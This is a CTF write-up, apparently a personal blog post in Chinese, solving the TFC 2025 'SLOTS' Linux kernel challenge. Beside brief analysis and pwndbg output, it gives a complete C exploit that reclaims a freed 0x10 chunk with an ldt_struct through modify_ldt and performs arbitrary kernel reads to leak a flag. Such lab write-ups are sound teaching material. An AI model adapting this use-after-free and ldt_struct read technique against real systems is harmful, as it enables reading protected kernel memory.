[ayoung@blog posts]$ cat ./TFC 2025 SLOTS.md

TFC 2025 SLOTS

[Last modified: 2025-08-31]

分析

模块初始化时将flag读入数据段中并删除文件系统中flag 提供菜单功能:

启动脚本,开启fgkaslr增加随机化程度

qemu-system-x86_64 \
  -kernel ./bzImage \
  -cpu max \
  -initrd ./initramfs.cpio.gz \
  -nographic \
  -monitor none,server,nowait,nodelay,reconnect=-1 \
  -serial stdio  \
  -display none \
  -m 256M \
  -no-reboot \
  -nographic \
  -append "console=ttyS0 kpti fgkaslr quiet" \

config文件如下,使用SLUB

CONFIG_SLUB=y
CONFIG_SLAB_MERGE_DEFAULT=n
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_RANDOM_KMALLOC_CACHES=n

发现内核模块加载地址有概率不变,其中my_ioctl函数地址有概率固定为0xffffffffc0400029

发现规律:可通过获取指令中相对rip的偏移,计算得到此处全局变量chunk的地址,而flag位于全局变量flag_data中,二者偏移固定,从而可以通过这种方式计算得到flag地址

利用ldt_struct结构体(slub中0x10),两次任意地址读泄露flag

pwndbg> x/2i 0xffffffffc0400029
   0xffffffffc0400029:  mov    rdi,QWORD PTR [rip+0xffffffffffee8940]        # 0xffffffffc02e8970
   0xffffffffc0400030:  test   rdi,rdi
pwndbg> x/7bx 0xffffffffc0400029
0xffffffffc0400029:     0x48    0x8b    0x3d    0x40    0x89    0xee    0xff
pwndbg> x/4bx 0xffffffffc0400029+4
0xffffffffc040002d:     0x89    0xee    0xff    0x48
pwndbg> x/4bx 0xffffffffc0400029+3
0xffffffffc040002c:     0x40    0x89    0xee    0xff
pwndbg> p/x 0xffffffffc0400030+0xffffffffffee8940
$1 = 0xffffffffc02e8970
pwndbg> x/s 0xffffffffc02e8970-0x410
0xffffffffc02e8560:     "CTF{fakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflag"

exp

#define _GNU_SOURCE
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>


#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"

#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do                                     \
    {                                      \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        exit(1);                           \
    } while (0)

#define ADD_CMD 0x0
#define DELETE_CMD 0x1
#define EDIT_CMD 0x3
#define SHOW_CMD 0x1337

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    logi("Process binded to core %d", core);
}

int fd = 0;
u_int64_t heap_addr = 0, kbase_addr = 0;

typedef struct {
    size_t offset;
    size_t length;
    char *ptr;
}menu_arg;

void add(size_t size)
{
    ioctl(fd, ADD_CMD, &size);
}

void delete()
{
    ioctl(fd, DELETE_CMD, 0);
}

void edit(size_t offset, size_t len, char *content)
{
    menu_arg tmp =
    {
        .offset = offset,
        .length = len,
        .ptr = content
    };

    ioctl(fd, EDIT_CMD, &tmp);
}

void show(size_t offset, size_t len, char *content)
{
    menu_arg tmp =
    {
        .offset = offset,
        .length = len,
        .ptr = content
    };

    ioctl(fd, SHOW_CMD, &tmp);
}

struct user_desc {
	unsigned int  entry_number;
	unsigned int  base_addr;
	unsigned int  limit;
	unsigned int  seg_32bit:1;
	unsigned int  contents:2;
	unsigned int  read_exec_only:1;
	unsigned int  limit_in_pages:1;
	unsigned int  seg_not_present:1;
	unsigned int  useable:1;
#ifdef __x86_64__
	/*
	 * Because this bit is not present in 32-bit user code, user
	 * programs can pass uninitialized values here.  Therefore, in
	 * any context in which a user_desc comes from a 32-bit program,
	 * the kernel must act as though lm == 0, regardless of the
	 * actual value.
	 */
	unsigned int  lm:1;
#endif
};

void main()
{
    unsigned int tmpbuf[0x100];
    struct user_desc desc;
    
    bind_core(0);
    fd = open("/dev/slot_machine", O_RDONLY);
    if (fd < 0)
    {
        die("opne /dev/slot_machine error");
    }

    add(0x10);
    delete();

     /* init descriptor info */
    desc.base_addr = 0xff0000;
    desc.entry_number = 0x8000 / 8; // LDT_ENTRY_SIZE * LDT_ENTRIES
    desc.limit = 0;
    desc.seg_32bit = 0;
    desc.contents = 0;
    desc.limit_in_pages = 0;
    desc.lm = 0;
    desc.read_exec_only = 0;
    desc.seg_not_present = 0;
    desc.useable = 0;

    syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

    size_t target_addr = 0xffffffffc040002c;
    edit(0, 0x8, &target_addr);

    memset(tmpbuf, 0, sizeof(tmpbuf));
    syscall(SYS_modify_ldt, 0, &tmpbuf, 4);

    logi("0x%x", tmpbuf[0]);
    
    size_t offset = tmpbuf[0]+0xffffffff00000000;

    size_t flag_addr = 0xffffffffc0400030+offset-0x410;
    logi("offset = 0x%llx", offset);
    logi("flag_addr = 0x%llx", flag_addr);

    edit(0, 0x8, &flag_addr);
    memset(tmpbuf, 0, sizeof(tmpbuf));
    syscall(SYS_modify_ldt, 0, &tmpbuf, 0x100);
    logi("%s", (char*)tmpbuf);
}
// TFCCTF{very_long_very_caca_flag_so_that_you_have_to_run_exploit_more_than_0ne_time}